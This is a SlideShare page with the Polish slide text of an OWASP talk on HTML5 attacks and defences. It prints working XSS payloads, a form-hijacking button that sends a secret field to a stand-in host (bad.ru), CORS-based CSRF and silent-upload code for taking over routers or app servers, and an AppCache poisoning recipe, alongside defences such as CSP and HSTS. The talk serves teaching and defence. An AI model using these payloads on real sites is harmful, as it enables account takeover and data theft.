SlideShare ist ein Scribd-Unternehmen logo
1 von 39
Downloaden Sie, um offline zu lesen
HTML5:
        atak i obrona

         Krzysztof Kotowicz

OWASP    SecuRing
         kkotowicz@securing.pl


          Copyright 2007 © The OWASP Foundation
          Permission is granted to copy, distribute and/or modify this document
          under the terms of the OWASP License.




          The OWASP Foundation
          http://www.owasp.org
$ id

 IT security consultant @ SecuRing
 Web security researcher
  (BlackHat USA, BruCON, Hack in Paris, ...)
 blog.kotowicz.net
 @kkotowicz




                                               OWASP   2
HTML5
(i pokrewne)




               OWASP   3
HTML5

 Upgrade wielu technologii używanych przez
  aplikacje webowe
 Dużo nowej dokumentacji
 Dużo nowego kodu
 Prace trwają od 2004




                                          OWASP   4
HTML5

 Bogaty, oparty na standardach klient
 Przenoszenie logiki na stronę klienta
  więcej danych
  więcej możliwości
 Nowe API
  Geolocation, Drag & Drop, Filesystem, WebSockets,
   WebWorkers, Touch Events...




                                               OWASP   5
HTML5 i bezpieczeństwo

 Wiele rozwiązań roboczych
 Tradycyjne webowe podatności HTML wciąż
  istnieją
  XSS
  CSRF
 Nowe API dostępne dla Javascriptu
 XSS zyskuje na znaczeniu




                                       OWASP   6
HTML5 - ataki
 (praktyczne)




                OWASP   7
XSS

 Filtry anty-XSS nie tylko w przeglądarkach!
 Nowe elementy, nowe atrybuty

 <iframe srcdoc='<b>html here</b>'>


 <video poster=javascript:alert(1)//></video>

 <form><button
 formaction="javascript:alert(1)">X</button>

 <math><maction actiontype="statusline"
 xlink:href="javascript:alert(3)">CLICKME<mtext
 >http://google.com</mtext></maction> </math>
                                            OWASP   8
XSS

 SVG, base64 - XSS i zaciemnnianie
  <svg><image style='filter:url("data:image/svg
  +xml,<svg xmlns=%22http://www.w3.org/2000/svg
  %22><script>parent.alert(1)</script></svg>")'></
  svg>

  <svg xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink">
  <feImage> <set attributeName="xlink:href"
  to="data:image/svg+xml;charset=utf-8;base64,
  PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC
  9zdmciPjxzY3JpcHQ
  %2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
  </feImage> </svg>

                                            OWASP    9
Data: URI

 Użyj, jak kiedyś javascript:
// all
<a href=data:text/
html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>

// IE
<link rel=stylesheet
      href=data:,*%7bx:expression(write(/xss/))%7d >

 Sprawdź przekierowania!

 http://vuln.pl/?redirect=data:text/html,....

 Location: data:text/html,...

                                                OWASP      10
Przechwytywanie formularzy

 Bez użycia Javascript


  <form id=f action=https://good.com>
  <input name=secret>
  </form>

  // anywhere in the document
  <button form=f formaction=http://
  bad.ru>CLICK
  </button>


                                      OWASP   11
Wykorzystanie XSS

 HTML5 pomaga przy eksploitacji
  WebSockets - wydajne połączenie z C&C
  Dane w DB, HTML5 filesystem, Web Storage

  // stealth mode
   history.pushState('/innocent-url')

   // wstrzyknięcie kodu
   localStorage['code']='alert(/1/)';
 
   // później
   eval(localStorage['code'])


                                              OWASP   12
Klasyczny XHR

 Tylko w ramach tej samej domeny




                                    OWASP   13
Cross Origin Resource Sharing

 Międzydomenowy




                                OWASP   14
CORS

 Międzydomenowe XHR, z poświadczeniami
  (credentials):
  cookies
  certyfikat SSL/TLS kliencki
  poświadczenia HTTP auth
 Docelowy serwer podejmuje decyzję
  Odsyła odpowiednie nagłówki




                                      OWASP   15
CORS




// http://attacker.cn
var xhr = new XMLHttpRequest();

xhr.open("POST", "http://victim.pl");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // cookies etc.
xhr.send("Anything");




                                            OWASP     16
CORS

 Żądanie XHR dociera do serwera
 Z poświadczeniami




 Można wykorzystać do Cross Site Request Forgery
  Tak jak <form>, <img src> itd.
  Nic nowego?


                                         OWASP      17
Cichy upload plików
                                                             ing ");
                                                   "An yth
                                        r.s end(
                                   xh

 Content-Type: multipart/form-data; boundary=AaB03x

 --AaB03x
 Content-Disposition: form-data; name="submit-name"

 Larry
 --AaB03x
 Content-Disposition: form-data; name="files";
 filename="file1.txt"
 Content-Type: text/plain

 ... contents of file1.txt ...
 --AaB03x--

                                                     OWASP        18
Cichy upload plików




     xhr.setRequestHeader("Content-Type",
        "multipart/form-data, boundary=xxx");

     xhr.send('
     --xxxrn
     Content-Disposition: form-data;
      name="files"; filename="file1.txt"rn
     Content-Type: text/plainrn
     rn
     ANYTHINGrn
     --xxx--');


                                          OWASP   19
Cichy upload plików

 Udaje multipart/form-data request z uploadem
  poprzez <input type=file>
 Użyj do:
  Zastąpienia firmware’u w routerach
  Przejęcia kontroli nad serwerami aplikacyjnymi

    logUrl = 'http://glassfishserver/
        management/domain/applications/
        application';
      fileUpload(c,"maliciousarchive.war");




                                                OWASP   20
Wstrzyknięcie treści

 http://website/#/a/page

  xhr.open("GET", "/a/page");


 https://touch.facebook.com/#http://
  example.com/xss.php

  HTTP/1.1 200 OK
  Access-Control-Allow-Origin: *
  Content-Type: text/html

  <img src=x onerror=alert(1)>

                                        OWASP   21
Offline web applications

 Cache offline

  <html manifest=/cache.manifest>
 Manifest
   Typ MIME text/cache-manifest
   CACHE MANIFEST
   /
   /main/home
   /main/app.js
   /settings/home
   /settings/app.js
   http://img.example.com/logo.png


 Cache odświeża się, kiedy zmieni się plik
                                              OWASP   22
Man in the middle



 Podgląd / zmiana ruchu
  XSS
  session hijack (Firesheep)
 Atak nietrwały




                                OWASP   23
AppCache poison

1. W trakcie MITM: wstrzyknięcie trucizny
  <html manifest="/robots.txt">                 CACHE MANIFEST
  ....<script>evil_foo()</script>               CACHE:
                                                http://victim/
                                                NETWORK:
                                                *
2. Po zakończeniu MITM:
  •   ofiara odwiedza stronę
  •   robots.txt ma niewłaściwy typ MIME
  •   zatruta strona pobierana z cache
  •   złośliwy kod uruchamia się
  •   ... aż do ręcznego wyczyszczenia offline cache
                                                       OWASP   24
AppCache poison




                  OWASP   25
AppCache poison

 Jak się bronić?
   SSL/TLS
   Wyczyszczenie
    offline cache




                    OWASP   26
HTML5 - obrona
(w trakcie budowy)




                     OWASP   27
HTML5 - metody obrony

   Content Security Policy (XSS)
   Nagłówek Origin (CSRF)
   HTTP Strict Transport Security (MITM)
   Iframe sandbox (izolacja treści)




                                            OWASP   28
Content Security Policy

 Polityka zapobiegająca m.in. XSS
 Firefox / Chrome / IE 10 / Safari
 Ciężka w implementacji

   <a onclick=....>   <script>code</script>

 Defense-in-depth




                                          OWASP   29
Content Security Policy



Content-Security-Policy:
  script-src 'self' https://apis.google.com;
  frame-src 'none'; object-src 'none'




                                      OWASP    30
Nagłówek Origin

   Referer: http://host:port/url/?a=1

    Często używany do zabezpieczenia przed CSRF

if (req.headers.referer
    && !req.headers.referer.match('ok.com')) {
    tell_attacker_to_get_lost();
} else {
    process();
}

    Kiedyś łatwy do podrobienia

                                              OWASP   31
Nagłówek Origin

 Łatwo pozbyć się nagłówka Referer!

  preferencje przeglądarki
  https:// → http://
  niemożliwa do ustalenia wartość

location = 'data:text/html,<html><meta http-
equiv="refresh" content="0; url=data:text/html,<form
id=f method=post action=''+url+''></
form><script>document.f.submit()</scri'+'pt>"></html>';




                                              OWASP       32
Nagłówek Origin

 szanuje prywatność

  Referer: http://host:port/naga-prawda
  Origin: http://host:port
 zachowany przy ruchu https:// → http://

 nie może być podrobiony

 nieznany →    Origin: null



                                            OWASP   33
HSTS

 HTTP Strict Transport Security
 Zabezpiecza przed atakami SSL stripping




       GET / HTTP/1.1
       Host: gmail.com

       HTTP/1.1 301 Be Secure
       Location: https://mail.google.com/



                                            OWASP   34
HSTS

Strict-Transport-Security: max-age=1576800;
   includeSubDomains

   Dozwolone tylko szyfrowane połączenia
   Ciche tłumaczenie http:// na https://
   “Hard fail” w przypadku błędów SSL/TLS




                                         OWASP   35
Iframe sandbox

 <script>user_id=4</script>
 <iframe sandbox src=untrusted-ad.aspx />


     Bez dostępu do DOM
     Bez skryptów
     Bez pluginów (Java, Flash, ...)
     Bez formularzy
     Bez framebusting
     Ograniczenia można wybiórczo wyłączać

                                          OWASP   36
Iframe sandbox



<iframe sandbox src="data:text/html,
<script>alert('haha!')</script>">
</iframe>

// attacker.com
<iframe sandbox="allow-scripts
allow-forms" src=http://clickjacked/ >
</iframe>




                                       OWASP   37
Podsumowanie

 Nowe możliwości, także dla atakującego
 XSS groźniejszy w skutkach

 Nowe narzędzia do obrony
 Warto je zastosować w kombinacji z tradycyjnymi
  metodami




                                           OWASP    38
Odnośniki

 html5security.org
 html5sec.org
 www.owasp.org/index.php/
  HTML5_Security_Cheat_Sheet

 github.com/koto/
 blog.kotowicz.net




                               OWASP   39

Weitere ähnliche Inhalte

Was ist angesagt?

Jak nadążyć za światem front endu
Jak nadążyć za światem front enduJak nadążyć za światem front endu
Jak nadążyć za światem front enduTomasz Dziuda
 
20 Joomlasztuczek, które mogą CI się przydać
20 Joomlasztuczek, które mogą CI się przydać20 Joomlasztuczek, które mogą CI się przydać
20 Joomlasztuczek, które mogą CI się przydaćWojciech Klocek
 
Wprowadzenie do WP-API
Wprowadzenie do WP-APIWprowadzenie do WP-API
Wprowadzenie do WP-APITomasz Dziuda
 
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015Tomasz Dziuda
 
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiastosecman_pl
 
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaMotywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaTomasz Dziuda
 
WP-Security Bezpieczeństwo - podstawy webinar
WP-Security Bezpieczeństwo - podstawy webinarWP-Security Bezpieczeństwo - podstawy webinar
WP-Security Bezpieczeństwo - podstawy webinarmerlin9274
 
Electron + WordPress = ❤
Electron + WordPress = ❤Electron + WordPress = ❤
Electron + WordPress = ❤Tomasz Dziuda
 
Statycznie czy dynamicznie?
Statycznie czy dynamicznie?Statycznie czy dynamicznie?
Statycznie czy dynamicznie?Tomasz Dziuda
 
Dokąd zmierza WordPress?
Dokąd zmierza WordPress?Dokąd zmierza WordPress?
Dokąd zmierza WordPress?Tomasz Dziuda
 
"Sandbox dla PowerShell'a - zrób to sam!" - Dawid Pachowski
"Sandbox dla PowerShell'a - zrób to sam!" - Dawid Pachowski"Sandbox dla PowerShell'a - zrób to sam!" - Dawid Pachowski
"Sandbox dla PowerShell'a - zrób to sam!" - Dawid PachowskiPROIDEA
 

Was ist angesagt? (13)

Jak nadążyć za światem front endu
Jak nadążyć za światem front enduJak nadążyć za światem front endu
Jak nadążyć za światem front endu
 
Potęga pliku .htaccess
Potęga pliku .htaccessPotęga pliku .htaccess
Potęga pliku .htaccess
 
20 Joomlasztuczek, które mogą CI się przydać
20 Joomlasztuczek, które mogą CI się przydać20 Joomlasztuczek, które mogą CI się przydać
20 Joomlasztuczek, które mogą CI się przydać
 
Wprowadzenie do WP-API
Wprowadzenie do WP-APIWprowadzenie do WP-API
Wprowadzenie do WP-API
 
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015
 
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiasto
 
Iron Python I Dlr
Iron Python I DlrIron Python I Dlr
Iron Python I Dlr
 
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaMotywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
 
WP-Security Bezpieczeństwo - podstawy webinar
WP-Security Bezpieczeństwo - podstawy webinarWP-Security Bezpieczeństwo - podstawy webinar
WP-Security Bezpieczeństwo - podstawy webinar
 
Electron + WordPress = ❤
Electron + WordPress = ❤Electron + WordPress = ❤
Electron + WordPress = ❤
 
Statycznie czy dynamicznie?
Statycznie czy dynamicznie?Statycznie czy dynamicznie?
Statycznie czy dynamicznie?
 
Dokąd zmierza WordPress?
Dokąd zmierza WordPress?Dokąd zmierza WordPress?
Dokąd zmierza WordPress?
 
"Sandbox dla PowerShell'a - zrób to sam!" - Dawid Pachowski
"Sandbox dla PowerShell'a - zrób to sam!" - Dawid Pachowski"Sandbox dla PowerShell'a - zrób to sam!" - Dawid Pachowski
"Sandbox dla PowerShell'a - zrób to sam!" - Dawid Pachowski
 

Andere mochten auch

I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffKrzysztof Kotowicz
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Krzysztof Kotowicz
 
Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Krzysztof Kotowicz
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceKrzysztof Kotowicz
 

Andere mochten auch (6)

I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuff
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?
 
Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
 

Ähnlich wie HTML5: Atak i obrona

Piątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPPiątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPXSolve
 
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Logicaltrust pl
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaLeszek Mi?
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLThink Secure
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...PROIDEA
 
Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10
Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10
Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10Ideo Sp. z o.o.
 
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.comNGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.comLeszek Mi?
 
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...PROIDEA
 
Ganymede - nowoczesne technologie w grach przeglądarkowych i mobilnych
Ganymede - nowoczesne technologie w grach przeglądarkowych i mobilnychGanymede - nowoczesne technologie w grach przeglądarkowych i mobilnych
Ganymede - nowoczesne technologie w grach przeglądarkowych i mobilnychSKN Shader
 
10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowaniaSecuRing
 
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech DworakowskiPROIDEA
 
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDNPLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDNPROIDEA
 
HTTP od zera do bohatera
HTTP od zera do bohateraHTTP od zera do bohatera
HTTP od zera do bohateraHordeTechnology
 
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...krakspot
 
Pocałunek śmierci
Pocałunek śmierciPocałunek śmierci
Pocałunek śmierciDivante
 

Ähnlich wie HTML5: Atak i obrona (20)

Piątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPPiątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTP
 
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
 
TGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert CharewiczTGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert Charewicz
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PL
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
 
Wordpress i nagłówki
Wordpress i nagłówkiWordpress i nagłówki
Wordpress i nagłówki
 
Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10
Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10
Hackowanie webaplikacji – ofensywa programisty na przykładzie OWASP TOP 10
 
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.comNGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
 
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
 
Android i REST
Android i RESTAndroid i REST
Android i REST
 
Ganymede - nowoczesne technologie w grach przeglądarkowych i mobilnych
Ganymede - nowoczesne technologie w grach przeglądarkowych i mobilnychGanymede - nowoczesne technologie w grach przeglądarkowych i mobilnych
Ganymede - nowoczesne technologie w grach przeglądarkowych i mobilnych
 
10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania
 
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
 
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDNPLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
 
HTTP od zera do bohatera
HTTP od zera do bohateraHTTP od zera do bohatera
HTTP od zera do bohatera
 
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
“Jak ocalić swoje dane przed SQL injection?” - Krzysztof Kotowicz na KrakSpot...
 
AJAX - wdw1
AJAX - wdw1AJAX - wdw1
AJAX - wdw1
 
Pocałunek śmierci
Pocałunek śmierciPocałunek śmierci
Pocałunek śmierci
 
Silverlight i PHP
Silverlight i PHPSilverlight i PHP
Silverlight i PHP
 

Mehr von Krzysztof Kotowicz

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitationKrzysztof Kotowicz
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraKrzysztof Kotowicz
 
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comesKrzysztof Kotowicz
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptKrzysztof Kotowicz
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 

Mehr von Krzysztof Kotowicz (11)

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
 
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitation
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
 
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comes
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 

HTML5: Atak i obrona

  • 1. HTML5: atak i obrona Krzysztof Kotowicz OWASP SecuRing kkotowicz@securing.pl Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org
  • 2. $ id  IT security consultant @ SecuRing  Web security researcher (BlackHat USA, BruCON, Hack in Paris, ...)  blog.kotowicz.net  @kkotowicz OWASP 2
  • 4. HTML5  Upgrade wielu technologii używanych przez aplikacje webowe  Dużo nowej dokumentacji  Dużo nowego kodu  Prace trwają od 2004 OWASP 4
  • 5. HTML5  Bogaty, oparty na standardach klient  Przenoszenie logiki na stronę klienta  więcej danych  więcej możliwości  Nowe API  Geolocation, Drag & Drop, Filesystem, WebSockets, WebWorkers, Touch Events... OWASP 5
  • 6. HTML5 i bezpieczeństwo  Wiele rozwiązań roboczych  Tradycyjne webowe podatności HTML wciąż istnieją  XSS  CSRF  Nowe API dostępne dla Javascriptu  XSS zyskuje na znaczeniu OWASP 6
  • 7. HTML5 - ataki (praktyczne) OWASP 7
  • 8. XSS  Filtry anty-XSS nie tylko w przeglądarkach!  Nowe elementy, nowe atrybuty <iframe srcdoc='<b>html here</b>'> <video poster=javascript:alert(1)//></video> <form><button formaction="javascript:alert(1)">X</button> <math><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext >http://google.com</mtext></maction> </math> OWASP 8
